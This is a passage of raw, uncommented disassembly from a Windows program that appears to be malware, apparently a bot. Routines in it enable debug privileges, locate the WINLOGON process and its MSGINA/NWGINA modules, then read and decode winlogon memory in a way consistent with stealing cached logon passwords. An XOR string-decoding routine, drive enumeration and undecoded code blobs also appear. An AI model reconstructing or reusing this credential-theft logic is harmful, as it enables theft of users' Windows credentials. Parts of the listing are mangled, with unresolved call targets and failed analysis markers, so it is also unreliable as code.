[ebp-48h] imul eax, 234h add eax, offset dword_43E710 push eax call sub_41C266 add esp, 10h cmp [ebp+8], esi ja loc_416881 loc_41695A: ; CODE XREF: ___:0041690Ej cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_4169AF cmp edi, [ebp-3Ch] jz short loc_4169AF push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_4382DC push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 28h loc_4169AF: ; CODE XREF: ___:00416964j ; ___:00416969j nop call near ptr 26A07AFh sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call near ptr 2670770h nop push dword ptr [ebp-1Ch] call sub_41BA91 cmp [ebp-38h], esi pop ecx jz short loc_416A39 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416A39 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_4382B4 push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 28h loc_416A39: ; CODE XREF: ___:004169E1j ; ___:004169F3j cmp [ebp-14h], esi jz loc_416C79 cmp dword ptr [ebp-44h], 1 jz loc_416B34 mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_427690 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_427690 fstp qword ptr [esp] push offset unk_43827C push eax call sub_41C266 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416AB4 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416AB4: ; CODE XREF: ___:00416A92j lea eax, [ebp-510h] push eax call sub_415D38 cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_416C79 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CB940 cmp [ebp-30h], esi jnz loc_416C79 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_438260 push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 24h jmp loc_416C79 ; --------------------------------------------------------------------------- loc_416B34: ; CODE XREF: ___:00416A46j mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_427690 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_427690 fstp qword ptr [esp] push offset unk_43821C push eax call sub_41C266 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416B9C push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416B9C: ; CODE XREF: ___:00416B7Aj lea eax, [ebp-510h] push eax call sub_415D38 push 10h lea eax, [ebp-10h] push esi push eax call sub_41BF70 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41BF70 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset byte_43DB88 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 26709E4h cmp eax, edi jnz short loc_416C1E call dword_4CB92C call sub_4188A6 push esi nop call near ptr 77E75CB5h loc_416C1E: ; CODE XREF: ___:00416C0Aj lea eax, [ebp-148h] push eax push offset unk_4381E8 jmp short loc_416C38 ; --------------------------------------------------------------------------- loc_416C2C: ; CODE XREF: ___:004167E5j lea eax, [ebp-248h] push eax push offset unk_4381BC loc_416C38: ; CODE XREF: ___:00416C2Aj lea eax, [ebp-510h] push eax call sub_41C266 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_416C6C push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416C6C: ; CODE XREF: ___:00416C4Aj lea eax, [ebp-510h] push eax call sub_415D38 pop ecx loc_416C79: ; CODE XREF: ___:00416A3Cj ; ___:00416AC5j ... push dword ptr [ebp-18h] call dword_4CBA08 push dword ptr [ebp-48h] call sub_40B6D6 pop ecx push esi nop call near ptr 26F0A80h ; =============== S U B R O U T I N E ======================================= sub_416C92 proc near ; CODE XREF: ___:004168BEp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416CAE loc_416C9E: ; CODE XREF: sub_416C92+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416C9E locret_416CAE: ; CODE XREF: sub_416C92+Aj retn sub_416C92 endp ; =============== S U B R O U T I N E ======================================= sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p ; sub_401ACD+5896p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DC5E pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416CAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CC9 proc near ; CODE XREF: sub_41036B+458p ; sub_41036B+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D35F8 push 0 push edi call sub_41BF70 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416CEE: ; CODE XREF: sub_416CC9+5Bj ; sub_416CC9+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41DD20 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41DCB0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416D2C inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416CEE mov byte ptr [esi], 2Ch inc esi jmp short loc_416CEE ; --------------------------------------------------------------------------- loc_416D2C: ; CODE XREF: sub_416CC9+4Bj dec esi mov eax, edi loc_416D2F: ; CODE XREF: sub_416CC9+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416D3E mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416D2F ; --------------------------------------------------------------------------- loc_416D3E: ; CODE XREF: sub_416CC9+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416CC9 endp ; =============== S U B R O U T I N E ======================================= sub_416D48 proc near ; CODE XREF: sub_416EFD+51p ; sub_416EFD+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA34 sub eax, 0 jz short loc_416D8B dec eax jz short loc_416D85 dec eax dec eax jz short loc_416D7F dec eax jz short loc_416D79 dec eax jz short loc_416D73 dec eax jz short loc_416D6D mov eax, offset word_4383AC retn ; --------------------------------------------------------------------------- loc_416D6D: ; CODE XREF: sub_416D48+1Dj mov eax, offset off_4383A8 retn ; --------------------------------------------------------------------------- loc_416D73: ; CODE XREF: sub_416D48+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416D79: ; CODE XREF: sub_416D48+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416D7F: ; CODE XREF: sub_416D48+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416D85: ; CODE XREF: sub_416D48+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416D8B: ; CODE XREF: sub_416D48+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D91 proc near ; CODE XREF: sub_416DD9+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CB8C4 test eax, eax jz short loc_416DC6 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416DC6: ; CODE XREF: sub_416D91+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416D91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p ; sub_41AF8F+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416D91 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416EB7 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41C360 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41C360 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41C360 add esp, 10h pop ebx jmp short loc_416EE9 ; --------------------------------------------------------------------------- loc_416EB7: ; CODE XREF: sub_416DD9+2Cj ; sub_416DD9+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41C266 pop ecx pop ecx loc_416EE9: ; CODE XREF: sub_416DD9+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416DD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EFD proc near ; CODE XREF: sub_416FCF+17p ; sub_416FCF+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41CA50 add esp, 10h test eax, eax jnz short loc_416F70 push ebx push ebx call sub_416D48 pop ecx push eax push offset unk_4383FC lea eax, [ebp+var_500] push 200h push eax call sub_41C360 add esp, 14h jmp short loc_416FA4 ; --------------------------------------------------------------------------- loc_416F70: ; CODE XREF: sub_416EFD+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416D48 pop ecx push eax push offset unk_4383C0 lea eax, [ebp+var_500] push 200h push eax call sub_41C360 add esp, 20h loc_416FA4: ; CODE XREF: sub_416EFD+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_500] push eax call sub_415D38 add esp, 18h pop edi pop esi pop ebx leave retn sub_416EFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416FF0 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EFD add esp, 10h jmp short loc_417051 ; --------------------------------------------------------------------------- loc_416FF0: ; CODE XREF: sub_416FCF+9j push esi push edi push ebx push ebx call dword_4CB93C lea esi, [eax+2] push esi call sub_41BEB5 pop ecx mov edi, eax push edi push esi call dword_4CB93C cmp [edi], bl mov esi, edi jz short loc_417048 loc_417014: ; CODE XREF: sub_416FCF+77j push offset off_438438 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_417037 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EFD add esp, 10h loc_417037: ; CODE XREF: sub_416FCF+54j push esi call sub_41B9C0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_417014 loc_417048: ; CODE XREF: sub_416FCF+43j push edi call sub_41BA91 pop ecx pop edi pop esi loc_417051: ; CODE XREF: sub_416FCF+1Fj pop ebx pop ebp retn sub_416FCF endp ; --------------------------------------------------------------------------- dword_417054 dd 81EC8B55h, 49CECh, 8458B00h, 0B9575653h, 0A7h, 0BD8DF08Bh ; DATA XREF: sub_401ACD+67C1o dd 0FFFFFD64h, 80C7A5F3h, 298h, 1, 0FEEC858Dh, 0E850FFFFh dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh, 83FFFF27h dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh, 0C4830000h dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h, 83000051h dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h dd 15E85359h, 90022D99h, 555B5E5Fh, 0EC81EC8Bh, 54Ch, 0BE575653h dd 104h, 8D1875FFh, 0FFFDB885h, 84A068FFh, 50560043h, 51CBE8h dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh, 0B8858D50h dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh, 0FFFEE885h dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h, 0FF000051h dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh dd 0E890FC75h, 2368DD8h, 8F75C085h, 0E8FC75FFh, 21D8DCCh dd 1475FF90h, 0FDB8858Dh, 75FFFFFFh, 50565318h, 5117E8h dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 8D52E890h, 0C0850236h dd 9056B175h, 1D8D47E8h, 1C458B02h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41AE41 cmp eax, esi mov [ebp+var_4], eax jz short loc_417300 cmp eax, 2 jz short loc_417300 push offset unk_438678 jmp loc_41743F ; --------------------------------------------------------------------------- loc_417300: ; CODE XREF: sub_4172C1+2Ej ; sub_4172C1+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx test eax, eax pop ecx jz loc_41743A push ebx push offset aNtdll_dll ; "NTDLL.DLL" call near ptr 26B0AD3h nop mov esi, dword_4270C4 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D483C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D4830, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D4A40, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D4838, eax call esi mov dword_4D4834, eax call sub_417493 test eax, eax mov [ebp+arg_0], eax jz loc_41740D mov esi, dword_427148 mov edi, 400h mov ebx, offset dword_4D3830 push edi push ebx push offset off_4385B4 call esi push edi mov edi, offset dword_4D4030 push edi push offset off_43859C call esi cmp [ebp+var_4], 1 push offset dword_4D4A48 push [ebp+arg_0] jnz short loc_4173B9 call sub_41761C jmp short loc_4173BE ; --------------------------------------------------------------------------- loc_4173B9: ; CODE XREF: sub_4172C1+EFj call sub_4177C3 loc_4173BE: ; CODE XREF: sub_4172C1+F6j pop ecx test eax, eax pop ecx jz short loc_417406 cmp dword_4D4A48, 0 jnz short loc_4173ED push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_438540 push 200h push eax call sub_41C360 add esp, 18h jmp short loc_417420 ; --------------------------------------------------------------------------- loc_4173ED: ; CODE XREF: sub_4172C1+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4173FD call sub_4178F9 jmp short loc_417402 ; --------------------------------------------------------------------------- loc_4173FD: ; CODE XREF: sub_4172C1+133j call sub_417990 loc_417402: ; CODE XREF: sub_4172C1+13Aj pop ecx push eax jmp short loc_417412 ; --------------------------------------------------------------------------- loc_417406: ; CODE XREF: sub_4172C1+101j push offset unk_438508 jmp short loc_417412 ; --------------------------------------------------------------------------- loc_41740D: ; CODE XREF: sub_4172C1+B6j push offset unk_4384DC loc_417412: ; CODE XREF: sub_4172C1+143j ; sub_4172C1+14Aj lea eax, [ebp+var_29C] push eax call sub_41C266 pop ecx pop ecx loc_417420: ; CODE XREF: sub_4172C1+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push [ebp+var_8] nop call near ptr 27C0000h pop ebx jmp short loc_41744D ; --------------------------------------------------------------------------- loc_41743A: ; CODE XREF: sub_4172C1+4Ej push offset unk_4384A8 loc_41743F: ; CODE XREF: sub_4172C1+3Aj lea eax, [ebp+var_29C] push eax call sub_41C266 pop ecx pop ecx loc_41744D: ; CODE XREF: sub_4172C1+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_417474 push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409869 add esp, 14h loc_417474: ; CODE XREF: sub_4172C1+191j lea eax, [ebp+var_29C] push eax call sub_415D38 push [ebp+var_18] call sub_40B6D6 pop ecx pop ecx push esi nop call near ptr 26F0A80h pop edi pop esi sub_4172C1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417493 proc near ; CODE XREF: sub_4172C1+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427154 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427150 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D483C push ebp push 0 call esi push eax nop call near ptr 27D0000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D483C test eax, eax jnz short loc_417580 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417580 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_417580 loc_41751C: ; CODE XREF: sub_417493+EBj cmp word ptr [ebx+8], 5 jnz short loc_417573 push 0 push 0 call dword_4D4830 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D4A40 test eax, eax jnz short loc_417564 mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_417598 loc_417564: ; CODE XREF: sub_417493+AAj test edi, edi jz short loc_41756F push edi call dword_4D4838 loc_41756F: ; CODE XREF: sub_417493+D3j mov eax, [esp+28h+var_10] loc_417573: ; CODE XREF: sub_417493+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_41751C loc_417580: ; CODE XREF: sub_417493+6Dj ; sub_417493+7Aj ... xor edi, edi loc_417582: ; CODE XREF: sub_417493+17Dj push ebp push 0 call esi push eax nop call near ptr 27D0000h mov eax, edi loc_417590: ; CODE XREF: sub_417493+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417598: ; CODE XREF: sub_417493+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_417601 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_4175AE: ; CODE XREF: sub_417493+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_417615 push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4175F3 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_4175F3: ; CODE XREF: sub_417493+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_4175AE loc_417601: ; CODE XREF: sub_417493+10Fj test edi, edi jz short loc_41760C push edi call dword_4D4838 loc_41760C: ; CODE XREF: sub_417493+170j mov edi, [esp+28h+var_4] jmp loc_417582 ; --------------------------------------------------------------------------- loc_417615: ; CODE XREF: sub_417493+13Cj xor eax, eax jmp loc_417590 sub_417493 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41761C proc near ; CODE XREF: sub_4172C1+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 26902E0h cmp eax, esi mov [ebp+var_4], eax jnz short loc_417645 xor eax, eax jmp loc_4177C0 ; --------------------------------------------------------------------------- loc_417645: ; CODE XREF: sub_41761C+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27F02F6h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427154 push 8 call esi mov edi, dword_427150 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_42715C push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_417695 xor esi, esi jmp loc_4177B3 ; --------------------------------------------------------------------------- loc_417695: ; CODE XREF: sub_41761C+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 27E0C53h test eax, eax jz loc_4177A2 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4177A2 test [ebp+var_2B], 1 jnz loc_4177A2 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4177A2 loc_4176F8: ; CODE XREF: sub_41761C+112j push edi push offset dword_4D3830 call sub_4263E5 pop ecx test eax, eax pop ecx jnz short loc_417720 lea eax, [edi+200h] push eax push offset dword_4D4030 call sub_4263E5 pop ecx test eax, eax pop ecx jz short loc_417730 loc_417720: ; CODE XREF: sub_41761C+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4177A2 jmp short loc_4176F8 ; --------------------------------------------------------------------------- loc_417730: ; CODE XREF: sub_41761C+102j test edi, edi jz short loc_4177A2 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call near ptr 27705BFh nop test eax, eax jz short loc_41776B lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2770000h test eax, eax jz short loc_41776B mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_41776B: ; CODE XREF: sub_41761C+12Bj ; sub_41761C+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4A54, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D4A4C, eax mov dword_4D4A50, edi loc_4177A2: ; CODE XREF: sub_41761C+90j ; sub_41761C+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 27D0000h mov esi, [ebp+var_10] loc_4177B3: ; CODE XREF: sub_41761C+74j push [ebp+var_4] call near ptr 2670770h nop pop edi mov eax, esi pop ebx loc_4177C0: ; CODE XREF: sub_41761C+24j pop esi leave retn sub_41761C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 26902E0h test eax, eax mov [ebp+arg_0], eax jz loc_4178B5 mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call near ptr 27F02F6h nop mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], 